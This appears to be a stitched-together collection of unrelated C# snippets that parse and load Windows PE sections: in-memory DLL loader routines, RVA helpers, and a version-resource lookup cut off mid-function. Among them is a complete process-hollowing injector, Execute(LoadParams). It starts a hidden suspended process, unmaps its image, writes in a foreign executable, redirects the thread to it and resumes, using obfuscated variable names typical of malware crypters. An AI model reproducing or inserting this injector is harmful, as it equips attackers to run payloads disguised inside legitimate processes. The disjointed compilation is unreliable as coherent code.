private static bool FinalizeSections(MEMORYMODULE module) { int i; void *imageOffset; IMAGE_SECTION_HEADER *section = IMAGE_FIRST_SECTION(module.headers); // "PhysicalAddress" might have been truncated to 32bit above, expand to // 64bits again. imageOffset = WIN64 ? (void *)(((IMAGE_NT_HEADERS64 *)module.headers)->OptionalHeader.ImageBase & 0xffffffff00000000) : null; SECTIONFINALIZEDATA sectionData = new SECTIONFINALIZEDATA { address = (void *)(section->PhysicalAddress | (ulong)imageOffset), size = GetRealSectionSize(module, section), characteristics = section->Characteristics, last = false }; sectionData.alignedAddress = AlignAddressDown(sectionData.address, (void *)module.pageSize); section++; // loop through all sections and change access flags for (i = 1; i < (WIN64 ? ((IMAGE_NT_HEADERS64 *)module.headers)->FileHeader.NumberOfSections : ((IMAGE_NT_HEADERS32 *)module.headers)->FileHeader.NumberOfSections); i++, section++) { void *sectionAddress = (void *)(section->PhysicalAddress | (ulong)imageOffset); void *alignedAddress = AlignAddressDown(sectionAddress, (void *)module.pageSize); void *sectionSize = GetRealSectionSize(module, section); // Combine access flags of all sections that share a page // TODO(fancycode): We currently share flags of a trailing large section // with the page of a first small section. This should be optimized. if (sectionData.alignedAddress == alignedAddress || (ulong)sectionData.address + (ulong)sectionData.size > (ulong)alignedAddress) { // Section shares page with previous if ((section->Characteristics & IMAGE_SCN_MEM_DISCARDABLE) == 0 || (sectionData.characteristics & IMAGE_SCN_MEM_DISCARDABLE) == 0) { sectionData.characteristics = (sectionData.characteristics | section->Characteristics) & ~IMAGE_SCN_MEM_DISCARDABLE; } else { sectionData.characteristics |= section->Characteristics; } sectionData.size = (void *)((ulong)sectionAddress + (ulong)sectionSize - (ulong)sectionData.address); continue; } if (!FinalizeSection(module, sectionData)) { return(false); } sectionData.address = sectionAddress; sectionData.alignedAddress = alignedAddress; sectionData.size = sectionSize; sectionData.characteristics = section->Characteristics; } sectionData.last = true; if (!FinalizeSection(module, sectionData)) { return(false); } return(true); }
private static bool CopySections(byte *data, void *size, void *old_headers, MEMORYMODULE module) { int i; uint section_size; byte *codeBase = module.codeBase; byte *dest; IMAGE_SECTION_HEADER *section = IMAGE_FIRST_SECTION(module.headers); for (i = 0; i < (WIN64 ? ((IMAGE_NT_HEADERS64 *)module.headers)->FileHeader.NumberOfSections : ((IMAGE_NT_HEADERS32 *)module.headers)->FileHeader.NumberOfSections); i++, section++) { if (section->SizeOfRawData == 0) { // section doesn't contain data in the dll itself, but may define // uninitialized data section_size = (WIN64 ? ((IMAGE_NT_HEADERS64 *)old_headers)->OptionalHeader.SectionAlignment : ((IMAGE_NT_HEADERS32 *)old_headers)->OptionalHeader.SectionAlignment); if (section_size > 0) { dest = (byte *)module.alloc(codeBase + section->VirtualAddress, (void *)section_size, MEM_COMMIT, PAGE_READWRITE, module.userdata); if (dest == null) { return(false); } // Always use position from file to support alignments smaller // than page size (allocation above will align to page size). dest = codeBase + section->VirtualAddress; // NOTE: On 64bit systems we truncate to 32bit here but expand // again later when "PhysicalAddress" is used. section->PhysicalAddress = (uint)((ulong)dest & 0xffffffff); memset(dest, 0, (void *)section_size); } // section is empty continue; } if (!CheckSize(size, (void *)(section->PointerToRawData + section->SizeOfRawData))) { return(false); } // commit memory block and copy data from dll dest = (byte *)module.alloc(codeBase + section->VirtualAddress, (void *)section->SizeOfRawData, MEM_COMMIT, PAGE_READWRITE, module.userdata); if (dest == null) { return(false); } // Always use position from file to support alignments smaller // than page size (allocation above will align to page size). dest = codeBase + section->VirtualAddress; memcpy(dest, data + section->PointerToRawData, (void *)section->SizeOfRawData); // NOTE: On 64bit systems we truncate to 32bit here but expand // again later when "PhysicalAddress" is used. section->PhysicalAddress = (uint)((ulong)dest & 0xffffffff); } return(true); }
static void FinalizeSections(MEMORYMODULE *module) { IMAGE_SECTION_HEADER *section = IMAGE_FIRST_SECTION(module->headers); for (int i = 0; i < module->headers->FileHeader.NumberOfSections; i++, section++) { uint protect, oldProtect, size; uint executable = Convert.ToUInt32((section->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0); uint readable = Convert.ToUInt32((section->Characteristics & IMAGE_SCN_MEM_READ) != 0); uint writeable = Convert.ToUInt32((section->Characteristics & IMAGE_SCN_MEM_WRITE) != 0); if ((section->Characteristics & IMAGE_SCN_MEM_DISCARDABLE) != 0) { // section is not needed any more and can safely be freed // course bug not free it at now. IntPtr sectionPhysicalAddress = new IntPtr(section->Name); #if AMD64 IntPtr pToFree = new IntPtr(section->VirtualSize + module->codeBase.ToInt64()); #else IntPtr pToFree = new IntPtr(section->VirtualSize + module->codeBase.ToInt32()); #endif VirtualFree(pToFree, section->SizeOfRawData, MEM_DECOMMIT); continue; } protect = ProtectionFlags[executable, readable, writeable]; if ((section->Characteristics & IMAGE_SCN_MEM_NOT_CACHED) != 0) { protect |= PAGE_NOCACHE; } // determine size of region size = section->SizeOfRawData; if (size == 0) { if ((section->Characteristics & IMAGE_SCN_CNT_INITIALIZED_DATA) != 0) { size = module->headers->OptionalHeader.SizeOfInitializedData; } else if ((section->Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA) != 0) { size = module->headers->OptionalHeader.SizeOfUninitializedData; } } if (size > 0) { // change memory access flags #if AMD64 IntPtr pToFree = new IntPtr(section->VirtualSize + module->codeBase.ToInt64()); #else IntPtr pToFree = new IntPtr(section->VirtualSize + module->codeBase.ToInt32()); #endif VirtualProtect(pToFree, section->SizeOfRawData, protect, &oldProtect); } } }
private static unsafe void WriteSectionHeader(byte[] buffer, uint pos, IMAGE_SECTION_HEADER header) { fixed(byte *p = buffer) { IMAGE_SECTION_HEADER *ptr = (IMAGE_SECTION_HEADER *)(p + pos); *ptr = header; } }
private static void* GetRealSectionSize(MEMORYMODULE module, IMAGE_SECTION_HEADER* section) { uint size = section->SizeOfRawData; if (size == 0) { if ((section->Characteristics & IMAGE_SCN_CNT_INITIALIZED_DATA) != 0) size = (WIN64 ? ((IMAGE_NT_HEADERS64*)module.headers)->OptionalHeader.SizeOfInitializedData : ((IMAGE_NT_HEADERS32*)module.headers)->OptionalHeader.SizeOfInitializedData); else if ((section->Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA) != 0) size = (WIN64 ? ((IMAGE_NT_HEADERS64*)module.headers)->OptionalHeader.SizeOfUninitializedData : ((IMAGE_NT_HEADERS32*)module.headers)->OptionalHeader.SizeOfUninitializedData); } return (void*)size; }
private void FinalizeSections() { IMAGE_SECTION_HEADER *section = Win.IMAGE_FIRST_SECTION(_headers); #if WIN64 UIntPtrT imageOffset = ((UIntPtrT)_headers->OptionalHeader.ImageBase & 0xffffffff00000000); #elif WIN32 UIntPtrT imageOffset = 0; #endif SectionFinalizeData sectionData = new SectionFinalizeData(); sectionData.Address = (void *)(section->PhysicalAddress | imageOffset); sectionData.AlignedAddress = AlignAddressDown(sectionData.Address, _pageSize); sectionData.Size = GetRealSectionSize(section); sectionData.Characteristics = section->Characteristics; sectionData.Last = false; section++; // loop through all sections and change access flags for (int i = 1; i < _headers->FileHeader.NumberOfSections; i++, section++) { void *sectionAddress = (void *)(section->PhysicalAddress | imageOffset); void *alignedAddress = AlignAddressDown(sectionAddress, _pageSize); SizeT sectionSize = GetRealSectionSize(section); // Combine access flags of all sections that share a page // TODO(fancycode): We currently share flags of a trailing large section // with the page of a first small section. This should be optimized. if (sectionData.AlignedAddress == alignedAddress || (UIntPtrT)sectionData.Address + sectionData.Size > (UIntPtrT)alignedAddress) { // Section shares page with previous if ((section->Characteristics & Win.IMAGE_SCN_MEM_DISCARDABLE) == 0 || (sectionData.Characteristics & Win.IMAGE_SCN_MEM_DISCARDABLE) == 0) { sectionData.Characteristics = (sectionData.Characteristics | section->Characteristics) & ~Win.IMAGE_SCN_MEM_DISCARDABLE; } else { sectionData.Characteristics |= section->Characteristics; } sectionData.Size = (((UIntPtrT)sectionAddress) + (sectionSize)) - (UIntPtrT)sectionData.Address; continue; } FinalizeSection(sectionData); sectionData.Address = sectionAddress; sectionData.AlignedAddress = alignedAddress; sectionData.Size = sectionSize; sectionData.Characteristics = section->Characteristics; } sectionData.Last = true; FinalizeSection(sectionData); }
private static unsafe IMAGE_SECTION_HEADER ReadSectionHeader(byte[] buffer, uint pos) { IMAGE_SECTION_HEADER dosHeader = new IMAGE_SECTION_HEADER(); fixed(byte *p = buffer) { IMAGE_SECTION_HEADER *ptr = (IMAGE_SECTION_HEADER *)(p + pos); dosHeader = *ptr; } return(dosHeader); }
void CopySections(byte[] data, IMAGE_NT_HEADERS32 *ntHeader) { if (data == null) { throw new ArgumentNullException("data"); } if (ntHeader->Signature != NativeDeclarations.IMAGE_NT_SIGNATURE) { throw new BadImageFormatException("Inavlid PE-Header"); } uint size; int *dest; IMAGE_SECTION_HEADER *section = NativeDeclarations.IMAGE_FIRST_SECTION(this.headers); for (int i = 0; i < this.headers->FileHeader.NumberOfSections; i++, section++) { if (section->SizeOfRawData == 0) { // section doesn't contain data in the dll itself, but may define // uninitialized data size = ntHeader->OptionalHeader.SectionAlignment; if (size > 0) { dest = (int *)NativeDeclarations.VirtualAlloc( new IntPtr(this.codeBase + section->VirtualAddress), size, AllocationType.COMMIT, MemoryProtection.READWRITE).ToPointer(); section->PhysicalAddress = (uint)dest; NativeDeclarations.MemSet(new IntPtr(dest), 0, new IntPtr(size)); } continue; } dest = (int *)NativeDeclarations.VirtualAlloc( new IntPtr((int)this.codeBase + section->VirtualAddress), section->SizeOfRawData, AllocationType.COMMIT, MemoryProtection.READWRITE).ToPointer(); Marshal.Copy(data, (int)section->PointerToRawData, new IntPtr(dest), (int)section->SizeOfRawData); section->PhysicalAddress = (uint)dest; } }
private IEnumerable <HarmonyLibrarySection> CopySections(Image srcImage, Image destImage) { List <HarmonyLibrarySection> resultSections = new List <HarmonyLibrarySection>(); IMAGE_SECTION_HEADER *section = destImage.FirstSection; for (int i = 0; i < destImage.FileHeader->NumberOfSections; i++, section++) { byte *dest = destImage.BasePtr + section->VirtualAddress; uint sectionSize; if (section->SizeOfRawData == 0) { sectionSize = Environment.Is64BitProcess ? destImage.OptionalHeader64->SectionAlignment : destImage.OptionalHeader32->SectionAlignment; if (sectionSize > 0) { if (dest + sectionSize > destImage.BasePtr + destImage.Size) { throw new LoadFailedException(string.Format("This DLL is damaged; section \"{0}\" has an illegal virtual address or size.", section->Section)); } Kernel32.ZeroMemory((IntPtr)dest, (IntPtr)sectionSize); } } else { sectionSize = section->SizeOfRawData; if (dest + sectionSize > destImage.BasePtr + destImage.Size) { throw new LoadFailedException(string.Format("This DLL is damaged; section \"{0}\" has an illegal virtual address or size.", section->Section)); } byte *src = srcImage.BasePtr + section->PointerToRawData; if (src + sectionSize > srcImage.BasePtr + srcImage.Size) { throw new LoadFailedException(string.Format("This DLL is damaged; section \"{0}\" has an illegal file offset or size.", section->Section)); } Kernel32.MoveMemory((IntPtr)dest, (IntPtr)src, (IntPtr)sectionSize); } resultSections.Add(new HarmonyLibrarySection(section->Section, (UIntPtr)dest, sectionSize)); } return(resultSections); }
private void FinalizeSections() { int imageOffset = 0; IMAGE_SECTION_HEADER *section = (IMAGE_SECTION_HEADER *)NativeDeclarations.IMAGE_FIRST_SECTION(this.headers); for (int i = 0; i < this.headers->FileHeader.NumberOfSections; i++, section++) { uint protect, oldProtect, size; int executable = (section->Characteristics & (uint)ImageSectionFlags.IMAGE_SCN_MEM_EXECUTE) != 0 ? 1 : 0; int readable = (section->Characteristics & (uint)ImageSectionFlags.IMAGE_SCN_MEM_READ) != 0 ? 1 : 0; int writeable = (section->Characteristics & (uint)ImageSectionFlags.IMAGE_SCN_MEM_WRITE) != 0 ? 1 : 0; if ((section->Characteristics & (int)ImageSectionFlags.IMAGE_SCN_MEM_DISCARDABLE) > 0) { NativeDeclarations.VirtualFree(new IntPtr(section->PhysicalAddress | (uint)imageOffset), section->SizeOfRawData, AllocationType.DECOMMIT); continue; } protect = (uint)ProtectionFlags[executable, readable, writeable]; if ((section->Characteristics & (uint)ImageSectionFlags.IMAGE_SCN_MEM_NOT_CACHED) > 0) { protect |= NativeDeclarations.PAGE_NOCACHE; } size = section->SizeOfRawData; if (size == 0) { if ((section->Characteristics & (uint)ImageSectionContains.INITIALIZED_DATA) > 0) { size = this.headers->OptionalHeader.SizeOfInitializedData; } else if ((section->Characteristics & (uint)ImageSectionContains.UNINITIALIZED_DATA) > 0) { size = this.headers->OptionalHeader.SizeOfUninitializedData; } } if (size > 0) { if (!NativeDeclarations.VirtualProtect(new IntPtr(section->PhysicalAddress | (uint)imageOffset), size, protect, out oldProtect)) { throw new Win32Exception("Can't change section access rights"); } } } }
private SizeT GetRealSectionSize(IMAGE_SECTION_HEADER *section) { uint size = section->SizeOfRawData; if (size == 0) { if ((section->Characteristics & Win.IMAGE_SCN_CNT_INITIALIZED_DATA) > 0) { size = _headers->OptionalHeader.SizeOfInitializedData; } else if ((section->Characteristics & Win.IMAGE_SCN_CNT_UNINITIALIZED_DATA) > 0) { size = _headers->OptionalHeader.SizeOfUninitializedData; } } return(size); }
/// <summary> /// 计算要申请的内存空间大小 /// </summary> /// <param name="pPEHeader"></param> /// <param name="pSectionHeader"></param> /// <returns></returns> private unsafe UInt32 CalcTotalImageSize(IMAGE_NT_HEADERS *pPEHeader, IMAGE_SECTION_HEADER *pSectionHeader) { var iAlign = pPEHeader->OptionalHeader.SectionAlignment; var iSize = this.GetAlignedSize(pPEHeader->OptionalHeader.SizeOfHeaders, iAlign); for (Int32 i = 0; i < pPEHeader->FileHeader.NumberOfSections; i++) { var iCodeSize = pSectionHeader[i].VirtualSize; // 该区块表对应的区块加载到内存后的大小,这是区块的数据在没有进行SectionAlignment对齐处理前的实际大小 var iLoadSize = pSectionHeader[i].SizeOfRawData; // 该区块在文件中所占的大小,该字段是已经被FileAlignment对齐处理过的长度。 var iMaxSize = iLoadSize > iCodeSize ? iLoadSize : iCodeSize; var iSectionSize = this.GetAlignedSize((pSectionHeader[i].VirtualAddress + iMaxSize), iAlign); if (iSize < iSectionSize) { iSize = iSectionSize; } } return(iSize); }
public static unsafe Offset RvaToOffset(IMAGE_NT_HEADERS64 *nt64, IMAGE_NT_HEADERS32 *nt32, uint rva, string friendlyName) { Offset offsets = new Offset(); if (nt64 != null) // x64 { IMAGE_SECTION_HEADER *section = IMAGE_FIRST_SECTION((byte *)nt64); for (int i = 1; i < nt64->FileHeader.NumberOfSections + 1; i++) { if (rva >= section->VirtualAddress && rva < section->VirtualAddress + section->SizeOfRawData) { offsets.RVA = section->VirtualAddress; offsets.RawOffset = section->PointerToRawData; } section = (IMAGE_SECTION_HEADER *)((long)section + (long)Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER))); } uint offset = offsets.RawOffset + (rva - offsets.RVA); return(offsets); } else if (nt32 != null) // x86 { IMAGE_SECTION_HEADER *section = IMAGE_FIRST_SECTION((byte *)nt32); for (int i = 1; i < nt32->FileHeader.NumberOfSections + 1; i++) { if (rva >= section->VirtualAddress && rva < section->VirtualAddress + section->SizeOfRawData) { offsets.RVA = section->VirtualAddress; offsets.RawOffset = section->PointerToRawData; } section = (IMAGE_SECTION_HEADER *)((long)section + (long)Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER))); } uint offset = offsets.RawOffset + (rva - offsets.RVA); return(offsets); } else { return(offsets); } }
static void CopySections(byte *data, IMAGE_NT_HEADERS *old_headers, MEMORYMODULE *module) { uint i, size; IntPtr codeBase1 = module->codeBase; #if AMD64 long codeBaseAddr = (long)codeBase1.ToInt64(); #else uint codeBaseAddr = (uint)codeBase1.ToInt64(); #endif IntPtr dest; IMAGE_SECTION_HEADER *section = IMAGE_FIRST_SECTION(module->headers); for (i = 0; i < module->headers->FileHeader.NumberOfSections; i++, section++) { if (section->SizeOfRawData == 0) { // section doesn't contain data in the dll itself, but may define // uninitialized data size = old_headers->OptionalHeader.SectionAlignment; if (size > 0) { dest = VirtualAlloc(new IntPtr(codeBaseAddr + section->VirtualAddress), size, AllocationType.COMMIT, MemoryProtection.READWRITE);// MEM_COMMIT, PAGE_READWRITE); //section->PhysicalAddress = dest; memset(dest, 0, new UIntPtr(size)); section->VirtualSize = (uint)(dest.ToInt64() - codeBase1.ToInt64()); } // section is empty continue; } // commit memory block and copy data from dll dest = VirtualAlloc(new IntPtr(codeBaseAddr + section->VirtualAddress), section->SizeOfRawData, AllocationType.COMMIT, MemoryProtection.READWRITE); memcpy((byte *)dest.ToPointer(), (byte *)(data + section->PointerToRawData), new UIntPtr(section->SizeOfRawData)); section->VirtualSize = (uint)(dest.ToInt64() - codeBase1.ToInt64()); } }
public PEInfo(void *pPEImage) { _pPEImage = pPEImage; byte *p = (byte *)pPEImage; p += *(uint *)(p + 0x3C); // NtHeader p += 4 + 2; // 跳过 Signature + Machine _sectionsCount = *(ushort *)p; p += 2 + 4 + 4 + 4; // 跳过 NumberOfSections + TimeDateStamp + PointerToSymbolTable + NumberOfSymbols ushort optionalHeaderSize = *(ushort *)p; p += 2 + 2; // 跳过 SizeOfOptionalHeader + Characteristics p += optionalHeaderSize; // 跳过 OptionalHeader _pSectionHeaders = (IMAGE_SECTION_HEADER *)p; }
private static uint FindEndOfLastSection(Image image) { IMAGE_SECTION_HEADER *section = image.FirstSection; uint optionalSectionSize = Environment.Is64BitProcess ? image.OptionalHeader64->SectionAlignment : image.OptionalHeader32->SectionAlignment; uint lastSectionEnd = 0; int numberOfSections = image.FileHeader->NumberOfSections; for (int i = 0; i < numberOfSections; i++, section++) { uint endOfSection = section->SizeOfRawData == 0 ? section->VirtualAddress + optionalSectionSize : section->VirtualAddress + section->SizeOfRawData; if (endOfSection > lastSectionEnd) { lastSectionEnd = endOfSection; } } return(lastSectionEnd); }
private void ApplyProperMemoryProtection(Image image) { IMAGE_SECTION_HEADER *section = image.FirstSection; int numberOfSections = image.FileHeader->NumberOfSections; for (int i = 0; i < numberOfSections; i++, section++) { UIntPtr sectionAddress = (UIntPtr)image.BasePtr + (int)section->VirtualAddress; UIntPtr alignedAddress = RoundAddressDown(sectionAddress, (int)_pageSize); uint sectionSize = Environment.Is64BitProcess ? GetEffectiveSectionSize64(image.Headers64, section) : GetEffectiveSectionSize32(image.Headers32, section); if (sectionSize == 0) { continue; } UIntPtr endAddress = RoundAddressUp(sectionAddress + (int)sectionSize, _pageSize); UIntPtr sizeRounded = (UIntPtr)((long)endAddress - (long)alignedAddress); if ((section->Characteristics & DataSectionFlags.MemoryDiscardable) != 0) { // Decommit this section, since we don't need it anymore; the OS can have // the page(s) back, but not the address space. Kernel32.VirtualFree(alignedAddress, sizeRounded, FreeType.DECOMMIT); continue; } Protection oldProtection; Protection protection = ChooseMemoryProtection(section->Characteristics); if (!Kernel32.VirtualProtect(alignedAddress, (uint)sizeRounded, protection, out oldProtection)) { throw new LoadFailedException(string.Format("Cannot assign proper memory protection to pages for section \"{0}\".", section->Section)); } } }
public unsafe static bool Execute(LoadParams args) { bool isWow = false; PROCESS_INFORMATION lpProcesSystemNetCertPolicyValidationCallbackv = default(PROCESS_INFORMATION); CONTEXT cONTEXT = default(CONTEXT); cONTEXT.ContextFlags = 1048603u; CONTEXT cONTEXT2 = cONTEXT; IntPtr lSqlDependencyProcessDispatcherSqlConnectionContainerHashHelperU; IMAGE_DOS_HEADER *ptr2; IMAGE_NT_HEADERS *ptr3; fixed(byte *ptr = args.Body) { lSqlDependencyProcessDispatcherSqlConnectionContainerHashHelperU = (IntPtr)(void *)ptr; ptr2 = (IMAGE_DOS_HEADER *)ptr; ptr3 = (IMAGE_NT_HEADERS *)(ptr + ptr2->e_lfanew); } if (ptr2->e_magic != 23117 || ptr3->Signature != 17744) { return(false); } if (ptr3->OptionalHeader.Magic != 267) { return(false); } Buffer.SetByte(args.Body, 920, 2); STARTUPINFO lpStartupInfo = default(STARTUPINFO); lpStartupInfo.cb = Marshal.SizeOf((object)lpStartupInfo); lpStartupInfo.wShowWindow = 0; using (LibInvoker libInvoker = new LibInvoker("kernel32.dll")) { using (LibInvoker libInvoker2 = new LibInvoker("ntdll.dll")) { if (!libInvoker.CastToDelegate <NativeDelegates.CreateProcessInternalWDelegate>("CreateProcessInternalW")(0u, null, args.AppPath, IntPtr.Zero, IntPtr.Zero, bInheritHandles : false, 134217740u, IntPtr.Zero, Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), ref lpStartupInfo, out lpProcesSystemNetCertPolicyValidationCallbackv, 0u)) { if (lpProcesSystemNetCertPolicyValidationCallbackv.hProcess != IntPtr.Zero && libInvoker.CastToDelegate <NativeDelegates.TerminateProcessDelegate>("TerminateProcess")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess, -1)) { libInvoker.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess); libInvoker.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hThread); } return(false); } libInvoker.CastToDelegate <NativeDelegates.IsWow64ProcessDelegate>("IsWow64Process")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess, ref isWow); IntPtr intPtr = (IntPtr)(long)ptr3->OptionalHeader.ImageBase; libInvoker2.CastToDelegate <NativeDelegates.NtUnmapViewOfSectionDelegate>("NtUnmapViewOfSection")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess, intPtr); if (libInvoker.CastToDelegate <NativeDelegates.VirtualAllocExDelegate>("VirtualAllocEx")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess, intPtr, ptr3->OptionalHeader.SizeOfImage, 12288u, 64u) == IntPtr.Zero && libInvoker.CastToDelegate <NativeDelegates.TerminateProcessDelegate>("TerminateProcess")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess, -1)) { libInvoker.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess); libInvoker.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hThread); return(false); } if (!libInvoker.CastToDelegate <NativeDelegates.WriteProcessMemoryDelegate>("WriteProcessMemory")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess, intPtr, lSqlDependencyProcessDispatcherSqlConnectionContainerHashHelperU, ptr3->OptionalHeader.SizeOfHeaders, IntPtr.Zero) && libInvoker.CastToDelegate <NativeDelegates.TerminateProcessDelegate>("TerminateProcess")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess, -1)) { libInvoker.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess); libInvoker.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hThread); return(false); } for (ushort num = 0; num < ptr3->FileHeader.NumberOfSections; num = (ushort)(num + 1)) { IMAGE_SECTION_HEADER *ptr4 = (IMAGE_SECTION_HEADER *)(lSqlDependencyProcessDispatcherSqlConnectionContainerHashHelperU.ToInt64() + ptr2->e_lfanew + Marshal.SizeOf(typeof(IMAGE_NT_HEADERS)) + Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER)) * num); if (!libInvoker.CastToDelegate <NativeDelegates.WriteProcessMemoryDelegate>("WriteProcessMemory")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess, (IntPtr)(intPtr.ToInt64() + ptr4->VirtualAddress), (IntPtr)(lSqlDependencyProcessDispatcherSqlConnectionContainerHashHelperU.ToInt64() + ptr4->PointerToRawData), ptr4->SizeOfRawData, IntPtr.Zero) && libInvoker.CastToDelegate <NativeDelegates.TerminateProcessDelegate>("TerminateProcess")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess, -1)) { libInvoker.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess); libInvoker.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hThread); return(false); } } if (isWow) { if (!libInvoker.CastToDelegate <NativeDelegates.Wow64GetThreadContextDelegate>("Wow64GetThreadContext")(lpProcesSystemNetCertPolicyValidationCallbackv.hThread, &cONTEXT2) && libInvoker.CastToDelegate <NativeDelegates.TerminateProcessDelegate>("TerminateProcess")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess, -1)) { libInvoker.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess); libInvoker.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hThread); return(false); } } else if (!libInvoker.CastToDelegate <NativeDelegates.Wow64GetThreadContextDelegate>("GetThreadContext")(lpProcesSystemNetCertPolicyValidationCallbackv.hThread, &cONTEXT2) && libInvoker.CastToDelegate <NativeDelegates.TerminateProcessDelegate>("TerminateProcess")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess, -1)) { libInvoker.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess); libInvoker.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hThread); return(false); } IntPtr intPtr2 = Marshal.AllocHGlobal(8); ulong num2 = (ulong)intPtr.ToInt64(); byte[] array = new byte[8]; for (int i = 0; i < 8; i++) { array[i] = (byte)(num2 >> i * 8); if (i == 7) { Marshal.Copy(array, 0, intPtr2, 8); } } if (!libInvoker.CastToDelegate <NativeDelegates.WriteProcessMemoryDelegate>("WriteProcessMemory")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess, (IntPtr)((long)cONTEXT2.Ebx + 8L), intPtr2, 4u, IntPtr.Zero)) { Marshal.FreeHGlobal(intPtr2); if (libInvoker.CastToDelegate <NativeDelegates.TerminateProcessDelegate>("TerminateProcess")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess, -1)) { libInvoker.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess); libInvoker.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hThread); return(false); } } Marshal.FreeHGlobal(intPtr2); cONTEXT2.Eax = (uint)(intPtr.ToInt64() + ptr3->OptionalHeader.AddressOfEntryPoint); if (isWow) { if (!libInvoker.CastToDelegate <NativeDelegates.Wow64SetThreadContextDelegate>("Wow64SetThreadContext")(lpProcesSystemNetCertPolicyValidationCallbackv.hThread, &cONTEXT2) && libInvoker.CastToDelegate <NativeDelegates.TerminateProcessDelegate>("TerminateProcess")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess, -1)) { libInvoker.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess); libInvoker.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hThread); return(false); } } else if (!libInvoker.CastToDelegate <NativeDelegates.Wow64SetThreadContextDelegate>("SetThreadContext")(lpProcesSystemNetCertPolicyValidationCallbackv.hThread, &cONTEXT2) && libInvoker.CastToDelegate <NativeDelegates.TerminateProcessDelegate>("TerminateProcess")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess, -1)) { libInvoker.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess); libInvoker.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hThread); return(false); } libInvoker.CastToDelegate <NativeDelegates.ResumeThreadDelegate>("ResumeThread")(lpProcesSystemNetCertPolicyValidationCallbackv.hThread); libInvoker.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess); libInvoker.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hThread); } } return(true); }
/// <summary> /// Locates version resource in a PE image /// </summary> /// <param name="FileData">Pointer to raw or mapped exe or dll</param> /// <param name="ResourceSize">Returns size of found resource</param> /// <returns>Pointer to located version resource or null if none found</returns> public unsafe static VS_VERSIONINFO *GetRawFileVersionResource(void *FileData, out int ResourceSize) { ResourceSize = 0; var dos_header = (IMAGE_DOS_HEADER *)FileData; var header = (IMAGE_NT_HEADERS *)((byte *)FileData + dos_header->e_lfanew); if (header == null || header->Signature != 0x4550 || header->FileHeader.SizeOfOptionalHeader == 0) { SetLastError(ERROR_RESOURCE_TYPE_NOT_FOUND); return(null); } IMAGE_DATA_DIRECTORY *resource_header; if (header->FileHeader.SizeOfOptionalHeader == sizeof(IMAGE_OPTIONAL_HEADER32)) { IMAGE_OPTIONAL_HEADER32 *optional_header = (IMAGE_OPTIONAL_HEADER32 *)&header->OptionalHeader; var data_directory = (IMAGE_DATA_DIRECTORY *)&optional_header->DataDirectory[0]; resource_header = data_directory + 2; } else if (header->FileHeader.SizeOfOptionalHeader == sizeof(IMAGE_OPTIONAL_HEADER64)) { IMAGE_OPTIONAL_HEADER64 *optional_header = (IMAGE_OPTIONAL_HEADER64 *)&header->OptionalHeader; var data_directory = (IMAGE_DATA_DIRECTORY *)&optional_header->DataDirectory[0]; resource_header = data_directory + 2; } else { SetLastError(ERROR_RESOURCE_TYPE_NOT_FOUND); return(null); } var section_table = (IMAGE_SECTION_HEADER *)((BYTE *)&header->OptionalHeader + header->FileHeader.SizeOfOptionalHeader); 